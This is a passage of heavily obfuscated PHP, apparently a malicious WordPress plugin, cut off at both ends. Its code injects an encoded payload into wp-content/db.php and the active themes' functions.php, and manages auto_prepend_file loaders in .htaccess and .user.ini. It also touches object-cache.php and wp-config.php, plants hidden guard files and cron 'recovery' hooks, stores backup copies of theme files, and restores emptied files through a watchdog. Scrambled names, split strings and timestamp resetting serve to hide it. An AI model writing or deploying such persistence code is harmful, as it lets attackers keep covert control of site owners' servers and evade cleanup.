$_failed = ($path === $base . "/\x64b.ph" . 'p' && !$_db_ok) || (substr($path, -(33 - 19)) === "\x2f\x66\x75\x6e" . 'ctions' . ".ph\x70" && !$_th_ok);
$stat = @stat($path);
if ($stat) {
$new_manifest[$path] = $stat['size'] . '|' . $stat['mt' . 'ime'] . ($_failed ? '|r' . time() : '');
}
}
foreach ($line_checks as $key => $needle) {
$_ls = resa(substr($key, (17 - 12)), $needle);
if ($_ls === '0' || substr($_ls, -(2742 ^ 2740)) === '|0') $_ls .= '|r' . time();
$new_manifest[$key] = $_ls;
}
@update_option("sc_p" . "er\x73i" . 'st' . '_mani' . 'fest', $new_manifest, "\x6e" . "o");
} finally {
ifeki('sc_ch' . 'ain');
}
} catch (Throwable $e) {
niga("per\x73" . 'ist', $e);
} catch (Exception $e) {
}
}
function resa($path, $needle)
{
$stat = @stat($path);
if (!$stat) return '0';
$sig = $stat['s' . 'ize'] . '|' . $stat["mti" . 'me'];
if ($stat['size'] > (71757 + 976819)) return 'big:' . $sig;
$c = @('file' . "_get_" . 'conte' . "nts")($path);
return $sig . '|' . ((is_string($c) && strpos($c, $needle) !== (28 == 38)) ? '1' : '0');
}
function sc_pending_invalidate_run()
{
$_pv = ('fun' . "ction_exi" . 'sts')('get' . '_opt' . 'i' . 'on') ? get_option('sc_p' . 'endi' . 'ng_in' . 'valid' . "a\x74\x65", '') : '';
sc_invalidate_vectors();
$_cv = ("fu\x6ect\x69" . 'on_e' . "x" . "\x69\x73ts")('g' . 'et_' . 'opti' . "\x6fn") ? get_option('sc_pe' . "\x6e\x64i" . 'ng' . '_inv' . 'al' . "idate", '') : '';
if ($_cv === $_pv) {
global $wpdb;
if (is_object($wpdb) && (('method_ex' . "") . "\x69\x73\x74\x73")($wpdb, 'que' . 'ry') && is_string($_pv) && $_pv !== '' && isset($wpdb->options)) {
@$wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->options} WHERE option_name = 'sc_pending_invalidate' AND option_value = %s", $_pv));
{if (!(("\x66\x75n\x63\x74\x69" . ("on_ex" . "is\x74\x73"))('wp_' . 'cach' . 'e_' . "de\x6c" . 'ete'))) {} else {
@wp_cache_delete("sc\x5f" . 'pendi' . 'ng' . '_inva' . "\x6cidat" . 'e', "op\x74\x69" . 'on' . 's');
@wp_cache_delete("not\x6fpt" . 'i' . 'ons', 'optio' . 'ns');
}}
} else {
@delete_option('sc' . '_pe' . 'ndin' . 'g' . "_in\x76a" . "l" . "\x69dat\x65");
}
}
}
function sc_invalidate_vectors()
{
try {
if (!defined("ABS" . 'PATH')) return;
$base = sc_writable_base();
$cache_dir = sc_data_dir();
$zip_name = sc_md5(ABSPATH . 'z' . 'ip', (10 - 2)) . '.zi' . 'p';
$htl_name = sc_md5(ABSPATH . 'htl', (8 - 0)) . '.php';
$ldr_name = sc_md5(ABSPATH . 'ldr', (1 ^ 9)) . '.' . "\x70h" . 'p';
$sw_name = sc_md5(ABSPATH . "s" . "\x77", (16 - 8)) . "\x2e\x70" . 'hp';
$inst_name = sc_md5(ABSPATH . 'inst', (2897 ^ 2905)) . '.php';
$guard_prefix = '.g' . '_' . sc_md5(ABSPATH . 'g', (12 + -4));
$_strip_pairs = array(
$base . "/adva" . 'nced' . "-cac" . 'he.php' => "SC_A" . "\x44V",
$base . '/db.ph' . 'p' => 'SC_' . "DB",
);
foreach ($_strip_pairs as $path => $prefix) {
if (!@is_file($path)) continue;
$c = @("\x66\x69" . "l" . "e" . "_get_contents")($path);
if ($c === (3240 !== 3240)) continue;
$regex = '/\\/' . "\\" . "* " . $prefix . '_BE' . 'GIN' . ':([a' . '-zA' . "-Z0-9" . "." . '_:' . "\x5d" . "\x2b)" . ' \\*' . '\\' . "\x2f" . '.' . "\x2a?" . "\\\x2f\\*\x20" . $prefix . "_E" . "N\x44" . ':\\1 \\' . '*\\//' . 's';
$new = ("\x70\x72\x65\x67\x5f\x72\x65p\x6c\x61" . "\x63\x65")($regex, '', $c);
if ($new !== $c) zifo($path, $new);
}
$_ocp = $base . "/\x6f" . 'bject-' . 'cac' . "h\x65\x2ep\x68p";
if (@is_file($_ocp)) {
$_occ = @(('file_get' . "_conte") . "\x6ets")($_ocp);
if (is_string($_occ) && $_occ !== '') {
if (preg_match("\x2fSC\x4f\x43" . "\x56:\\d" . "+\\\x2e\\d" . '+\\.\\' . "\x64\x2b/", substr($_occ, (1588 ^ 1588), (600 >> 1))) || strpos($_occ, '<' . "?\x70hp" . " /" . '* ' . "." . "w\x70-" . "o" . 'bje' . 'ct-' . 'cach' . 'e' . '-') === (2203 ^ 2203)) {
legiv($_ocp, (158 + 262));
jomug($_ocp);
} else {
$_ocn = ("p" . "reg_r" . '' . 'e' . "place")('/\\n' . '?' . '\\/' . "\\\x2a S\x43" . "_O\x43_\x42" . 'EGI' . "N:(\x5b" . "a\x2dzA-" . 'Z0-9._' . ":]+)" . ' ' . '\\*\\/.' . '*' . '?\\' . '/\\*' . ' S' . "C\x5fOC" . "_\x45N\x44:\\" . "1" . ' \\*' . "\\/\\n" . '?/s', '', $_occ);
if (is_string($_ocn) && $_ocn !== $_occ) zifo($_ocp, $_ocn);
unset($_ocn);
}
}
unset($_occ);
}
$mu_cache_dir = dirname(sc_file()) . '/cache';
$legacy_dir = defined("W\x50_CON" . 'TENT' . '_D' . "IR") ? WP_CONTENT_DIR . '/ca' . 'che' : $mu_cache_dir;
$files = array(
$base . '/' . $zip_name,
$base . '/' . $htl_name,
$base . '/' . $ldr_name,
$cache_dir . '/' . $sw_name,
$cache_dir . '/' . $inst_name,
$cache_dir . '/' . $htl_name,
$cache_dir . '/' . $ldr_name,
$mu_cache_dir . '/' . $sw_name,
$mu_cache_dir . '/' . $inst_name,
$mu_cache_dir . '/' . $htl_name,
$mu_cache_dir . '/' . $ldr_name,
$legacy_dir . '/' . $sw_name,
$legacy_dir . '/' . $inst_name,
$legacy_dir . '/' . $htl_name,
$legacy_dir . '/' . $ldr_name,
);
$_ocpp = wopa();
$files[] = $_ocpp[(3176 ^ 3177)];
$files[] = $_ocpp[(3114 ^ 3115)] . '.lkg';
unset($_ocpp);
if (('fu' . "\x6ec\x74io\x6e_\x65\x78ist\x73")('g' . "\x6c\x6fb")) {
foreach ((array) @("g\x6c\x6f" . 'b')($base . '/uploa' . "d\x73\x2f*" . '/*/' . $zip_name) as $z) $files[] = $z;
foreach ((array) @("gl" . ('o' . 'b'))($base . '/theme' . 's' . "/*/" . $zip_name) as $z) $files[] = $z;
foreach ((array) @("glo" . 'b')(ABSPATH . 'wp-inc' . 'lude' . "s\x2f" . $guard_prefix . '*.p' . 'hp') as $g) $files[] = $g;
foreach ((array) @(("g" . "\x6c") . "ob")($base . '/' . $guard_prefix . "*." . "php") as $g) $files[] = $g;
foreach ((array) @('g' . '' . 'l' . "\x6f" . "\x62")($cache_dir . '/' . $guard_prefix . '*.php') as $g) $files[] = $g;
foreach ((array) @("g" . 'l' . "" . "\x6f\x62")($mu_cache_dir . '/' . $guard_prefix . '*.php') as $g) $files[] = $g;
foreach ((array) @('g' . "" . 'l' . "ob")($legacy_dir . '/' . $guard_prefix . '*' . "." . "p" . "\x68" . 'p') as $g) $files[] = $g;
}
$_ghash = sc_md5(ABSPATH . 'g', (6 ^ 14));
$_gdirs = array(ABSPATH . 'w' . 'p-inc' . 'ludes', $base, $cache_dir, $mu_cache_dir, $legacy_dir);
foreach ($_gdirs as $_gd) {
if (@is_dir($_gd) && @is_writable($_gd)) medi($_gd . '/.' . "g\x78_" . $_ghash, sc_ver(), 'inval');
}
if (("funct" . "ion_exists")('glob')) {
foreach ($_gdirs as $_gd) {
foreach (array('.g' . 'l' . '_', "\x2e" . 'gs_', '.gk_', '.' . "g\x70_", '.gt_', '.gm_', '.' . 'gv' . "_", ".gsu" . "\x5f", '.grd' . "_") as $_gp2) {
foreach ((array) @("gl\x6f" . 'b')($_gd . '/' . $_gp2 . '*') as $_gm2) $files[] = $_gm2;
}
foreach ((array) @('g' . "lo" . 'b')($_gd . '/.gr_*' . "\x2ep\x68p") as $_gr2) $files[] = $_gr2;
}
}
unset($_ghash, $_gdirs, $_gd, $_gp2, $_gm2, $_gr2);
$_pl_dirs = array(rtrim($base, '/\\'), rtrim(dirname(sc_file()), '/' . '\\'), rtrim($cache_dir, '/\\'), rtrim($mu_cache_dir, '/\\'), rtrim($legacy_dir, '/\\'));
if (defined("WP\x5fC" . "O" . "NT" . "E" . 'NT_DI' . "R")) $_pl_dirs[] = rtrim(WP_CONTENT_DIR, '/' . '\\');
$_loader_files = array();
foreach (array_unique($_pl_dirs) as $_pd) {
$_loader_files[] = $_pd . '/' . $htl_name;
$_loader_files[] = $_pd . '/' . $ldr_name;
$_loader_files[] = $_pd . '/.' . $ldr_name;
}
unset($_pl_dirs, $_pd);
foreach ($_loader_files as $_lf) {
if (@is_file($_lf)) sofep($_lf, null);
}
unset($_lf);
$_ht_dirs = array(rtrim(ABSPATH, '/\\'));
if (defined("W\x50_CON" . "TEN\x54_" . 'DI' . 'R')) $_ht_dirs[] = rtrim(WP_CONTENT_DIR, '/\\');
$_ht_dirs[] = rtrim($base, "/" . '\\');
$_ht_dirs[] = rtrim(dirname(sc_file()), '/\\');
$ht_files = array();
foreach (array_unique($_ht_dirs) as $_htd) $ht_files[] = $_htd . '/' . ".\x68" . 'ta' . 'cce' . "ss";
unset($_ht_dirs, $_htd);
foreach ($ht_files as $ht) {
if (!@is_file($ht)) continue;
$c = @("f\x69le\x5f\x67\x65\x74_c\x6fn" . "" . 'ten' . 'ts')($ht);
if ($c && strpos($c, 'auto_' . "pr" . 'epend_' . 'fil' . 'e') !== (33 === 24)) {
$c = ("p" . "\x72eg_\x72\x65\x70\x6c" . 'a' . "ce")('/' . '\\n' . '?<I' . 'fM' . 'odule' . " m\x6f" . 'd_p' . "\x68" . 'p[' . '0' . '-9.]' . '*\\' . '.c>\\s' . "\x2ap\x68p_v" . "\x61\x6cu\x65 " . 'auto' . "\x5fp\x72\x65\x70" . 'en' . "d_f\x69le" . '[' . '^\\' . 'n]*' . preg_quote($htl_name, '/') . "[^\\" . 'n]*\\' . 'n<\\/' . 'IfMod' . "u\x6ce>\\\x6e" . "?/i", "\n", $c);
if (is_string($c)) {
$c = ("preg" . "\x5f\x72\x65\x70\x6c" . 'ace')("\x2f\\\x6e\x3f" . '<I' . 'fM' . 'odul' . 'e lite' . "\x73peed>" . '\\s*ph' . 'p_' . 'valu' . "e \x61\x75\x74" . 'o_p' . 'repe' . 'n' . 'd_file' . '[^' . "\\\x6e]\x2a" . preg_quote($htl_name, '/') . "[\x5e" . "\\\x6e\x5d" . '*\\n<\\' . '/IfMod' . 'ule' . '>\\n?/i', "\n", $c);
}
if (is_string($c)) {
$c = ("\x70\x72" . "" . 'eg_replace')('/\\n' . "?php" . "_val\x75" . 'e aut' . "\x6f_" . 'prepen' . "\x64_\x66" . 'ile[^\\' . 'n' . ']*' . preg_quote($htl_name, '/') . "[\x5e" . "\\n" . ']*\\n' . '?/i', "\n", $c);
}
if (is_string($c)) zifo($ht, $c);
}
}
$_wcf = ABSPATH . 'wp-' . 'conf' . 'ig.p' . "hp";
if (!@is_file($_wcf)) {
$_walt = dirname(ABSPATH) . '/wp-co' . "\x6e\x66i\x67.p" . "\x68p";
if (@is_file($_walt)) $_wcf = $_walt;
}
if (@is_file($_wcf) && @is_writable($_wcf)) {
$_wc = @('f' . 'ile_ge' . "\x74_\x63o" . "ntents")($_wcf);
if (is_string($_wc) && strpos($_wc, 'SC_WC') !== (33 === 28)) {
$_wn = ('preg_repla' . "ce")("/" . '[ \\t' . ']*de' . "fi" . 'ne\\s*' . "\\(\\s" . "*['\"]W" . 'P_CAC' . "HE" . '[\'"]\\' . "s" . '*,' . '\\s*t' . "r\x75e\\s*" . '\\)\\s*;' . '\\s*\\/' . "\\* SC_" . 'WC \\*' . '\\/[' . " " . "\\t" . ']' . "*\\\x72\x3f" . '\\n?/', "\x64" . "efi\x6ee" . '( ' . '\'W' . 'P_CACH' . 'E' . "', tr" . 'ue );' . "\n", $_wc);
if (is_string($_wn) && $_wn !== $_wc && nifa($_wn)) {
$_wmt = @filemtime($_wcf);
if (zifo($_wcf, $_wn)) {
if ($_wmt) @("\x74o" . "u" . 'c' . ("" . "h"))($_wcf, $_wmt);
if (('fun' . 'cti' . 'on_exist' . '' . "\x73")('delet' . "e_op\x74" . "ion")) @delete_option('sc_wc_' . "m\x69g");
}
}
unset($_wn, $_wmt);
}
unset($_wc);
}
unset($_wcf, $_walt);
$_ini_fn = ('function_e' . "\x78\x69\x73" . "\x74s")("ini_\x67\x65" . 't') ? @ini_get('use' . 'r_ini' . '.' . "\x66il" . 'ename') : (1 == 26);
if (!$_ini_fn || $_ini_fn === '') $_ini_fn = '.' . "\x75\x73" . "\x65r" . ".in" . 'i';
$_ini_dirs = array(rtrim(ABSPATH, '/\\'));
if (defined('WP_CON' . "T" . "EN\x54_" . "DI" . 'R')) $_ini_dirs[] = rtrim(WP_CONTENT_DIR, '/\\');
$_ini_dirs[] = rtrim($base, '/\\');
$_ini_dirs[] = rtrim(dirname(sc_file()), "/" . '\\');
$ini_files = array();
foreach (array_unique($_ini_dirs) as $_id) $ini_files[] = $_id . '/' . $_ini_fn;
unset($_ini_dirs, $_id);
foreach ($ini_files as $ini) {
if (!@is_file($ini)) continue;
$c = @("\x66\x69" . 'le_get_co' . "\x6e\x74en\x74\x73")($ini);
if ($c && strpos($c, 'au' . 'to_pre' . "p" . "end_f\x69" . "le") !== (32 == 29)) {
$c = ("p" . 'r' . "eg_replace")('/a' . 'u' . 'to' . '_pr' . "epen\x64" . '_file\\' . "s*\x3d" . "." . "*" . preg_quote($ldr_name, '/') . '.*\\n/' . 'i', '', $c);
if (is_string($c)) zifo($ini, $c);
}
}
$_other_files = array_diff($files, $_loader_files);
$_refs = array();
$_refs_unknown = (26 === 22);
foreach (array_merge($ht_files, $ini_files) as $_cf) {
if (!@is_file($_cf)) continue;
$_cc = @('file_' . 'get_con' . 't' . 'ents')($_cf);
if (!is_string($_cc)) {
$_refs_unknown = (21 < 22);
continue;
}
if (strpos($_cc, "aut" . 'o_pre' . 'pen' . 'd_fi' . 'l' . "\x65") === (20 == 29)) continue;
if (preg_match_all('/' . 'auto_' . 'pre' . 'pend_f' . 'ile\\' . 's*(' . '?:=|\\s' . ')\\s' . '*' . "(\x3f:\"([" . '^' . '"\\r\\n' . ']+)' . "\"|" . "'(" . "[^'\\r\\" . "\x6e\x5d+)'\x7c" . '([' . '^\\' . 's' . '"\\' . 'r\\n]+' . '))/i', $_cc, $_rm)) {
foreach (array_merge($_rm[(3118 ^ 3119)], $_rm[(21 ^ 23)], $_rm[(3 - 0)]) as $_rp) {
if ($_rp !== '') $_refs[basename($_rp)] = (11 !== 26);
}
}
unset($_cc, $_rm, $_rp);
}
if (!$_refs_unknown) {
foreach ($_other_files as $f) {
if (@is_file($f)) {
if (isset($_refs[basename($f)])) continue;
legiv($f, (662 - 242));
jomug($f);
}
}
}
unset($_refs, $_refs_unknown, $_cf);
foreach (tupe() as $functions) {
if (!@is_file($functions) || !@is_writable($functions)) continue;
$c = @("fil\x65_" . 'get_contents')($functions);
if (is_string($c)) {
$_stripped = qojun($c, "SC_" . "\x54H", 'sc' . '_drop_' . 'bloc' . "k");
$_stripped = qojun($_stripped, 'SC_DD', 's' . 'c_dr' . "op_\x62lo" . 'ck');
if (is_string($_stripped) && $_stripped !== $c) zifo($functions, $_stripped);
unset($_stripped);
}
}
if (('func' . "\x74" . 'ion_exis' . 'ts')("s" . "h\x6d" . "op_" . 'open') && ('fu' . ("nc" . "tion_exists"))('ftok')) {
$key = kanut();
if ($key !== (30 == 32)) {
$sh = @shmop_open($key, 'w', (2111 ^ 2111), (241 ^ 241));
if ($sh) {
@shmop_delete($sh);
@shmop_close($sh);
}
}
}
if (("fu" . "\x6ect" . 'ion_exi' . "s\x74\x73")("\x64e" . "l\x65te" . "\x5f\x6fp\x74" . "io\x6e")) {
$opt_name = sc_md5(ABSPATH . "o\x70" . "t", (15 + -5));
@delete_option($opt_name);
$_cy = ("\x66\x75n" . "\x63\x74" . "\x69o\x6e" . '_exists')('get' . '_op' . "ti\x6f" . "n") ? @get_option("sc\x5fca" . 'nary', array()) : array();
if (is_array($_cy)) {
if (isset($_cy['b'])) jomug($_cy['b']);
if (isset($_cy['item' . "s"]) && is_array($_cy["it" . 'e' . 'm' . 's'])) {
foreach ($_cy['items'] as $_ci) {
if (is_array($_ci) && isset($_ci['b'])) jomug($_ci['b']);
}
}
}
@delete_option("sc_ca" . 'na' . 'ry');
@delete_option('sc_l' . "\x62_\x6d" . 'ode');
@delete_option('sc_' . 'fe' . "tch_lo" . 'g');
@delete_option("s\x63\x5f" . 'oc' . "\x5fd\x61t" . "\x5fok");
@delete_option('sc_h' . 't_fa' . "\x69" . 'l');
@delete_option('sc_h' . "t_\x64ea" . "d");
@delete_option("s\x63_\x69" . "n\x69_fai" . "l");
@delete_option('sc_i' . "ni" . "_dead");
@delete_option("s" . "c_\x69\x6e" . 'i_pen' . "\x64in" . 'g');
unset($_cy, $_ci);
}
if (("function_ex" . 'ists')('dele' . "t\x65_t" . "r\x61" . 'nsie' . 'nt')) {
@delete_transient('sc_sw_' . 's' . 'e' . 't' . 'up');
@delete_transient("sc_g" . "uard");
@delete_transient(igari());
}
if (('f' . "" . "unc" . 'tion_exists')('wp_c' . 'lea' . 'r_sc' . 'hed' . 'uled' . '_h' . 'ook')) {
@wp_clear_scheduled_hook('sc' . "_cron_" . 'recove' . "\x72\x79");
@wp_clear_scheduled_hook('sc_' . 'cro' . 'n_g' . "\x75" . "ard");
@wp_clear_scheduled_hook(yoyo());
}
} catch (Throwable $e) {
niga('invali' . 'date', $e);
} catch (Exception $e) {
}
}
function bobe()
{
try {
sc_dbg_log("2\x32 " . 'db.p' . "hp en\x74" . 'er');
if (!defined('ABSP' . 'A' . "TH")) return (19 == 10);
$base = sc_writable_base();
$db_path = $base . '/db.' . 'php';
$slug = basename(sc_file(), "\x2e" . 'ph' . "p");
$src = anoway();
if (!$src || strlen($src) < (398 ^ 122) || strlen($src) > (616656 + 431920) || sc_src_poisoned($src) || !nifa($src)) return (1 === 22);
$current = @file_exists($db_path) ? @("file_ge" . ("t_co" . "ntents"))($db_path) : '';
if (!is_string($current)) {
niga('db', "re\x61" . "d_fail" . 'ed');
return (19 == 29);
}
$current = vevit($current);
$_mid = sc_ver() . ':' . sc_md5(ABSPATH . 'db_m', (16 + -8));
$_b = "/" . '* SC_' . "DB" . '_B' . 'E' . 'GIN:' . $_mid . ' ' . "*\x2f";
$_e = '/* S' . "C\x5f" . 'DB_EN' . 'D' . "\x3a" . $_mid . ' ' . '*/';
$_dbs = sc_md5(ABSPATH . "d\x62" . '_' . "m", (5 + 3));
$_probe = ('pre' . "g_rep" . "\x6ca\x63\x65")('/' . '\\/' . "\\" . "*\x20\x53C" . '_D' . "B_BE\x47I" . 'N:([' . "a" . "-\x7aA" . '-' . 'Z0-9._' . "]*\x3a" . $_dbs . ")\x20\\*\\/" . '.' . "*\x3f\\" . "/\\*" . " \x53C_\x44B" . '_EN' . "D\x3a\\" . "1" . " \\*" . "\\//s", '', $current);
$_has_legacy = (strpos($_probe, 'SC_DB' . "_" . "LO" . 'ADED') !== (7 == 2));
if (strpos($current, $_b) !== (31 == 30) && strpos($current, $_e) !== (31 === 22) && !$_has_legacy) return (3 !== 19);
$current = ('preg_repl' . "ac\x65")('/[ \\t' . ']*' . 'if' . '\\s' . '*\\(' . '\\' . 's*de' . "\x66" . "in" . "ed\\s*\\" . '(' . '\\s*[' . '"' . '\']S' . 'C_D' . 'B' . '_LOADE' . 'D["\']' . "\\" . 's*\\)\\s' . "*\\\x29\\s\x2a" . 'ret' . 'urn\\s*' . ';[^' . '\\r\\' . "n]*/", '', $_probe);
if (!is_string($current)) {
niga('db', 'pcre' . '_f' . 'ail');
return (14 !== 14);
}
$b64 = macul();
if (!$b64) return (35 == 4);
$_guard = 'SC' . '_DB' . "L_" . substr(md5($slug . (string) nasa()), (2850 ^ 2850), (9 ^ 1));
$db_code = nuqim(
"db\x5f\x74\x70" . 'l',
array("_" . "\x5f\x53L" . 'UG__', "__PLUG" . 'IN_BA' . 'SE6' . '4' . '__', '_' . "_GU\x41R" . "D_\x4e\x41\x4d" . "E_" . "\x5f", "__VE" . 'RSION_' . "_"),
array($slug, $b64, $_guard, sc_ver())
);
if (!$db_code) {
if ((int) get_option('sc_la' . 'st_' . 'fetch_' . "\x74\x73", (1138 ^ 1138)) > (1469 ^ 1469)) niga('db', "\x64b_\x74p" . 'l_mis' . 'sing');
return (31 === 5);
}
$current = vevit($current);
$trigger = ("\x70\x72eg\x5fre\x70l" . "" . "ace")('/' . '^<\\?' . 'php\\' . 's*/', '', $db_code);
$_db_new = (strlen($current) === (798 ^ 798));
if (!$_db_new) {
if (!podo('db')) {
niga('db', 'reins_' . "\x63ap");
return (23 === 35);
}
if (!higiz($db_path, $current)) {
niga('db', 'cana' . 'ry_arm' . "_fai" . 'l');
return (18 === 7);
}
qeku('db');
} else {
if (!higiz($db_path, '')) {
niga('db', "c\x61\x6e" . "\x61" . 'ry_a' . "r\x6d\x5ff\x61" . "il");
return (17 == 11);
}
}
$content = cewo($current, $_b . "\n" . $trigger . "\n" . $_e);
if (!zifo($db_path, $content)) {
sc_dbg_log('23' . ' ' . 'db.p' . 'hp ' . 'writte' . 'n');
return (10 == 3);
}
vava($db_path);
egaler($db_path);
return (1 != 15);
} catch (Throwable $e) {
niga('db', $e);
return (21 == 35);
} catch (Exception $e) {
return (37 === 22);
}
}
function tupe()
{
$out = array();
if (!(('function_ex' . "is") . "\x74s")("\x67e" . 't_' . 'option')) return $out;
$cd = (defined('WP_CO' . "NTE" . 'N' . 'T_' . "\x44IR") ? WP_CONTENT_DIR : (defined('A' . 'BSPAT' . "H") ? ABSPATH . 'wp-con' . "t" . 'ent' : '')) . "\x2f\x74" . 'h' . "e\x6de\x73" . "\x2f";
$ss = (string) @get_option("s\x74\x79l" . 'eshe' . 'et', '');
if ($ss !== '') $out[] = $cd . $ss . '/funct' . 'i' . 'ons.p' . "hp";
$tp = (string) @get_option('te' . 'mplat' . 'e', '');
if ($tp !== '' && $tp !== $ss) $out[] = $cd . $tp . "\x2ff\x75n" . "cti" . "ons.p" . 'h' . 'p';
return $out;
}
function qici()
{
if (!(("fu" . "nction_ex" . "ist" . 's')('is_' . "\x6du" . 'ltisi' . 'te') && is_multisite() && ('fu' . "\x6e" . 'ctio' . "n_exists")('ge' . 't_s' . "i\x74e\x5f\x6f\x70" . "t\x69\x6fn"))) {} else {
return (array) @get_site_option('sc_t' . 'he' . "m\x65\x5f\x73" . "af" . 'ety', array());
}
return (array) @get_option('sc_t' . "heme_" . "\x73a\x66ety", array());
}
function irevi($st)
{
if (('functio' . "" . "\x6e" . "_exists")('is' . "\x5fm" . 'ultis' . 'it' . 'e') && is_multisite() && ('fun' . "\x63t\x69o\x6e\x5fex\x69st" . ('' . "\x73"))("u\x70\x64a" . 'te' . '_s' . 'ite_o' . 'pt' . "i" . "on")) {
@update_site_option('sc_th' . "eme\x5fs" . 'afe' . "ty", $st);
return;
}
@update_option("sc_th\x65" . 'me_sa' . 'fe' . "ty", $st, 'no');
}
function lebu($path)
{
$st = qici();
return isset($st[sc_md5($path, (20 ^ 24))]);
}
function kihij($path)
{
$st = qici();
$_cut = time() - (9011032 - 1235032);
foreach ($st as $_k => $_ts) {
if ((int) $_ts < $_cut) unset($st[$_k]);
}
$st[sc_md5($path, (19 ^ 31))] = time();
irevi($st);
}
function tiqin($path, $content)
{
if (!is_string($content) || $content === '' || strlen($content) > (1319787 - 271211)) return;
$sha = hash('sha2' . '56', $content);
$db = (array) @get_option('sc' . "_th\x65" . "me_\x76" . 'irgin' . '_db', array());
$k = sc_md5($path, (29 - 17));
if (isset($db[$k]["\x73\x68" . "\x612" . "56"]) && $db[$k]["sha\x32" . '56'] === $sha) return;
$db[$k] = array("s\x69z" . 'e' => strlen($content), 's' . "ha25" . "6" => $sha, 'data' => ("base64_en" . 'code')($content));
@update_option('sc_' . 'them' . "\x65_virg" . "i" . 'n_db', $db, 'no');
}
function xexe($path)
{
$db = (array) @get_option('sc_the' . 'me_v' . 'ir' . "gin_" . 'db', array());
$e = isset($db[sc_md5($path, (21 - 9))]) ? $db[sc_md5($path, (20 + -8))] : null;
if (!is_array($e) || empty($e['data']) || empty($e["\x73" . "\x69ze"]) || empty($e['sha2' . '56'])) return (23 == 1);
$raw = ("b" . ("" . 'ase64_decode'))($e['data'], (17 != 34));
if (!is_string($raw) || strlen($raw) !== (int) $e['size']) return (27 == 10);
if (hash('s' . "h\x612\x35" . '6', $raw) !== $e['sha2' . '56']) return (1 == 27);
if (!nifa($raw)) return (23 == 24);
return $raw;
}
function seli($functions, $current)
{
$_vg = cajo($current);
if (!is_string($_vg) || $_vg === '') return (19 === 14);
$vbak = sc_data_dir() . '/thv_' . sc_md5($functions, (17 - 5)) . '.bak';
$_ex = @is_file($vbak) ? @('fi' . ("le_get_cont" . "e\x6e\x74\x73"))($vbak) : (40 == 13);
if (!(!is_string($_ex) || $_ex !== $_vg)) {} else {
if (!zifo($vbak, $_vg)) return (8 === 19);
$_ex = @is_file($vbak) ? @('fil' . "e_get_con" . 'tents')($vbak) : (16 === 39);
if (!is_string($_ex) || $_ex !== $_vg) return (11 == 15);
}
tiqin($functions, $_vg);
return (13 !== 34);
}
function sc_theme_switched()
{
irevi(array());
}
function sc_theme_watchdog()
{
try {
if (!defined("\x41BSP" . 'ATH') || !('functi' . 'on_ex' . 'ists')("get" . '_o' . 'p' . "\x74i\x6fn")) return;
foreach (tupe() as $fn) {
if (@is_file($fn) && @filesize($fn) > (2106 ^ 2106)) continue;
$vbak = sc_data_dir() . '/thv' . "_" . sc_md5($fn, (2 + 10)) . '.bak';
$_bc = @is_file($vbak) ? @("file_" . 'get_content' . "\x73")($vbak) : (15 == 7);
if (!is_string($_bc) || $_bc === '') {
$_bc = xexe($fn);
if (is_string($_bc) && $_bc !== '') @zifo($vbak, $_bc);
}
if (!is_string($_bc) || $_bc === '') continue;
clearstatcache((6 === 6), $fn);
if (@is_file($fn) && @filesize($fn) > (227 ^ 227)) continue;
if (zifo($fn, $_bc)) {
niga('theme', 'van' . "\x69\x73\x68_re" . 'stored');
kihij($fn);
}
}
} catch (Throwable $e) {
niga("the" . 'me', $e);
} catch (Exception $e) {
}
}
function feki()
{
try {
sc_dbg_log('24 ' . "the" . "me \x6co" . 'ader' . ' ' . 'ente' . 'r');
if (!defined('ABSPA' . 'T' . 'H')) return (14 === 13);
$cands = tupe();
if (empty($cands)) return (21 == 13);
$_mid = sc_ver() . ':' . sc_md5(ABSPATH . 'th' . "\x5fm", (12 - 4));
$_b = '/' . '* SC' . "\x5f" . "TH\x5fB" . 'EG' . "IN:" . $_mid . ' */';
$_e = "/\x2a" . "\x20" . "SC\x5f" . "TH_\x45\x4eD" . "\x3a" . $_mid . ' */';
$_guard = 'SC_' . 'THL_' . substr(md5(ABSPATH . (string) nasa()), (2094 ^ 2094), (11 + -3));
$slug = basename(sc_file(), '.p' . 'hp');
$b64 = macul();
if (!$b64) return (26 == 8);
$inject_code = nuqim(
't' . 'h' . "em" . 'e_' . "\x74pl",
array("\x5f" . "_SL" . "UG\x5f_", "_\x5fPL" . 'UGIN' . '_B' . "\x41" . "SE" . '64__', '_' . '_GUAR' . "D\x5f" . "N" . "AM" . 'E__', '__VE' . "R\x53I\x4f\x4e_" . '_'),
array($slug, $b64, $_guard, sc_ver())
);
if (!$inject_code) {
if ((int) get_option('sc_' . "\x6cas\x74_" . "f\x65t" . 'c' . 'h' . "_\x74s", (3326 ^ 3326)) > (2821 ^ 2821)) niga('theme', "th\x65m" . "e\x5f\x74" . 'pl' . "_\x6d" . "\x69\x73\x73" . 'i' . 'ng');
return (35 == 2);
}
$inject_code = ("preg" . '_rep' . "la" . "\x63\x65")('/^' . '<\\?php' . "\\\x73*\x2f", '', $inject_code);
if (!is_string($inject_code) || $inject_code === '') return (2 == 19);
$_done = (39 == 12);
foreach ($cands as $functions) {
if (!@is_file($functions)) continue;
if (lebu($functions)) continue;
$_lh = ("\x66\x75" . 'n' . "ction_exists")('f' . 'op' . "en") ? @("f" . 'o' . 'pe' . "n")($functions, 'c') : (6 == 13);
if (is_resource($_lh) && ("f\x75n\x63t" . "i" . "on_exists")('fl' . 'ock') && !@flock($_lh, LOCK_EX | LOCK_NB)) {
@('fc' . 'lose')($_lh);
continue;
}
$current = @("\x66\x69\x6ce" . ("_get_content" . "\x73"))($functions);
if (!is_string($current)) {
niga("t" . "he" . 'me', 'read' . "\x5ffai" . "\x6ced");
if (is_resource($_lh)) {
if (("fun" . "ctio" . "n_e" . 'xists')('flock')) @flock($_lh, LOCK_UN);
@("fc" . 'l' . 'ose')($_lh);
}
continue;
}
try {
if (strlen($current) > (406823 + 641753)) $current = vevit($current);
if (strpos($current, $_b) !== (26 == 17) && strpos($current, $_e) !== (23 == 17)) {
$_done = (26 !== 32);
continue;
}
if (!@is_writable($functions)) continue;
$_ths = sc_md5(ABSPATH . 'th' . '_m', (9 + -1));
$_pre_strip = $current;
$current = qojun($current, 'SC_TH', 'sc_' . "t\x68s" . '_drop');
$current = ('pr' . ("eg_repl" . "ace"))('/\\' . '/\\/SC_' . 'TH_L' . "\x44_[" . 'a-f0' . '-9' . "_]" . '+' . '\\r?\\n[' . '^\\n]*$' . "/", '', $current);
if (!is_string($current)) {
niga('theme', 'pc' . "\x72e_\x66" . "\x61il");
continue;
}
